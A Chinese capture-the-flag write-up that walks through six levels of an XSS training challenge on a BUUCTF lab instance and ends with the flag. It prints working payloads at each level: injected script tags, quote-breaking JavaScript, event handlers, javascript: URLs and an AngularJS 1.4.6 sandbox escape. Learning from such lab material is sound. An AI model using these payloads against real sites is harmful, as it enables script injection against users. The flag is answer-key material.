天天看点

从0到1CTFer成长之路-第二章-XSS的魔力

XSS的魔力

声明

好好向大佬们学习!!!

攻击

XSS的魔力

这简直就是一场javascript的代码审计心酸历程

摘自

https://book.nu1l.com/tasks/#/
https://blog.csdn.net/hxhxhxhxx/article/details/112784856
https://blog.csdn.net/rfrder/article/details/108930033
           

使用BUUCTF在线环境

https://buuoj.cn/challenges
           

都是用谷歌浏览器访问

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn
           
从0到1CTFer成长之路-第二章-XSS的魔力
从0到1CTFer成长之路-第二章-XSS的魔力

1关

点击按钮“点我开始”

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level1?username=xss
           
从0到1CTFer成长之路-第二章-XSS的魔力

经观察,修改URL中username参数值,改成多少,页面就会进行回显,并且直接拼接到welcome后面,那么就可以直接构造标签了,最简单的,反手一个script标签

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level1?username=<script>alert(1)</script>
           
从0到1CTFer成长之路-第二章-XSS的魔力

2关

依旧是回显

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level2?username=xss
           
从0到1CTFer成长之路-第二章-XSS的魔力

输入script标签,发现被转码了,右键查看源码

从0到1CTFer成长之路-第二章-XSS的魔力

发现当我们URL中username的值为111时,就会拼接到代码第五行构成

var username = '111';
           

也就是说代码第五行是动态改变的,为

var username = '我们输入的东东';
           
<script type="text/javascript">
	if(location.search == ""){
		location.search = "?username=xss"
	}
	var username = '111';
	document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>
           

这个就和SQL注入的思想太像了,可以参考SQL注入的堆叠注入,闭合前面的单引号,注释后面的单引号,然后再把我们的js代码插入进去,不就自动就在这个script标签中执行了

如果我们输入

';alert(1);'
           

拼接前

var username = '我们输入的东东';
           

拼接后

var username = '';alert(1);'';
           

等价于

var username = '';
alert(1);
'';
           

自然就会执行alert(1)了

从0到1CTFer成长之路-第二章-XSS的魔力

3关

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level3?username=xss
           

输入第二关的答案,发现’被转义成\'了

从0到1CTFer成长之路-第二章-XSS的魔力

输入script标签发现神奇的事,自动给我加上了闭合的标签,但是却不能执行标签里面的代码

从0到1CTFer成长之路-第二章-XSS的魔力

这时候想到了书中的一句话,几乎任何一个标签都可以执行on事件,改用别的标签+on事件试试

先输入一个a标签试试水,发现确实可以用

从0到1CTFer成长之路-第二章-XSS的魔力

使用a标签+鼠标滑过事件

<a onmouseover="alert(1)">111
           

当鼠标滑过增加的这个a标签时,触发alert

从0到1CTFer成长之路-第二章-XSS的魔力

4关

每过十秒就会重定向刷一次页面

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4
           
从0到1CTFer成长之路-第二章-XSS的魔力

这个连参数什么的都没给,只能右键查看源码了

从0到1CTFer成长之路-第二章-XSS的魔力

主要看script标签中的,我个人对js代码也不是完全熟悉,就是靠大概意思理解

<script type="text/javascript">
 //不用说了time为10肯定就是10秒了
    	var time = 10;
    	var jumpUrl;
  //jumpUrl这个参数是个啥,不太清楚,百度搜了半天也没搜到,看来不是系统的参数,就是自定义的
  //也就是说下面的意思是说,获取参数jumpUrl
  //getQueryVariable结果为false,就赋为location.href;为true,getQueryVariable并把jumpUrl传过去,并赋值为函数的返回值
  
    	if(getQueryVariable('jumpUrl') == false){
    		jumpUrl = location.href;
    	}else{
    		jumpUrl = getQueryVariable('jumpUrl');
    	}
   //下面就是一些赋值和十秒倒计时
    	setTimeout(jump,1000,time);
    	function jump(time){
    		if(time == 0){
    			location.href = jumpUrl;
    		}else{
    			time = time - 1 ;
    			document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
    			setTimeout(jump,1000,time);
    		}
    	}
    //关键在这里
		function getQueryVariable(variable)
		{
	//拿到URL中,从?开始的参数部分然后以&进行分割,分成数组
	//这里for循环嵌套if不太好说明,做一个变量跟踪吧
	//首先,我们需要想到的是,既然有&,并且上面提到了jumpUrl变量,那我们就得构造一个&jumpUrl变量
	//这个函数returnjumpUrl的值给到上面倒计时中的innerHTML、
	//下面细说
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
    </script>
           
//这里细说,这个循环虽然很简单,但是逻辑不是只言片语就能说清楚的,所以我们采取变量跟踪的方式
//假设构造jumpUrl=<script>alert(1)</script>,那么variable=jumpUrl=<script>alert(1)</script>
//query为:username=xss&jumpUrl=<script>alert(1)</script>
//vars为 vars[0]: username=xss, vars[1]: jumpUrl=<script>alert(1)</script>}
//开始进入for循环,i=0,vars.length为2,i<vars.length成立
//pair = [username,xss],pair[0] = username,pair[1] = xss,variable=jumpUrl
//pair[0] == variable不成立,不return,i++为1,i = 1 < vars.length = 2成立,继续循环

//pair = pair[0] = jumpUrl,pair[1] = <script>alert(1)</script>fanh,variable=jumpUrl
//pair[0] == variable成立,执行return,将<script>alert(1)</script>返回,这个函数的结果为<script>alert(1)</script>
//到上面后innerHTML就拼上了这么一段

//所以要强让这个函数不返回false,就必须在for循环中return,这就要求我们传过来的url中,必须带着jumpUrl参数

function getQueryVariable(variable=jumpUrl=){
       var query = window.location.search.substring(1);
       var vars = query.split("&");
       for (var i=0;i<vars.length;i++) {
               var pair = vars[i].split("=");
               if(pair[0] == variable){return pair[1];}
       }
       return(false);
}
           

输入

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4?username=xss&jumpUrl=<script>alert(1)</script>
           

等待十秒后执行失败,因为代码中还有一段escape函数会进行特殊字符的转码,所以这里使用伪协议

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4?username=xss&jumpUrl=javascript:alert(1)
           

等待十秒后,跳转,触发伪协议中的代码

从0到1CTFer成长之路-第二章-XSS的魔力

5关

也是没有给什么参数,但是有个输入框,输入框输什么都没回显+失败

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level5
           
从0到1CTFer成长之路-第二章-XSS的魔力

看源码吧

从0到1CTFer成长之路-第二章-XSS的魔力
<script type="text/javascript">
    
    //类比第四关中,getQueryVariable为false,就啥都不干,我们需要执行js代码,这显然不是我们要的
    //如果想要为true,那就带上这个autosubmit参数
    //但是貌似跟这个参数autosubmit参数值得关系不大,只是需要有这样一个参数,因为下面,都是在对另一个参数action操作
    	if(getQueryVariable('autosubmit') !== false){
    		var autoForm = document.getElementById('autoForm');
    		//这里又一次出现了getQueryVariable函数,其实就是得存在action
    		
    		autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
    		autoForm.submit();
    	}else{
    		
    	}
		function getQueryVariable(variable)
		{
		       var query = window.location.search.substring(1);
		       var vars = query.split("&");
		       for (var i=0;i<vars.length;i++) {
		               var pair = vars[i].split("=");
		               if(pair[0] == variable){return pair[1];}
		       }
		       return(false);
		}
    </script>
           

类比4关,这里相当于绕了个弯

输入

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level5?autosubmit=1&action=javascript:alert(1)
           
从0到1CTFer成长之路-第二章-XSS的魔力

6关

这个就是比较难了,参考以下文章

https://nosec.org/home/detail/4153.html
https://xz.aliyun.com/t/4638
           

访问

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username=xss
           
从0到1CTFer成长之路-第二章-XSS的魔力

返现和第一关的形式一样了,毕竟最后一关了,肯定是第一关的超级难绕过版,username中输入各种标签,都不行,这里是真的被当成字符串了,颜色都变了

从0到1CTFer成长之路-第二章-XSS的魔力

打开Wappalyzer,来一波信息搜集,发现 AngularJS 1.4.6

从0到1CTFer成长之路-第二章-XSS的魔力

查看该文章,发现Angular表达式,莫名有点像struts2的OGNL表达式,只不过是前端前端版的RCE

https://nosec.org/home/detail/4153.html
           

输入

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username={{2*3}}
           
从0到1CTFer成长之路-第二章-XSS的魔力

查看该文章,发现Angular表达式终极利用代码

https://xz.aliyun.com/t/4638
           

输入

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
           
从0到1CTFer成长之路-第二章-XSS的魔力

拿到flag

n1book{xss_is_so_interesting}
           
从0到1CTFer成长之路-第二章-XSS的魔力
从0到1CTFer成长之路-第二章-XSS的魔力

继续阅读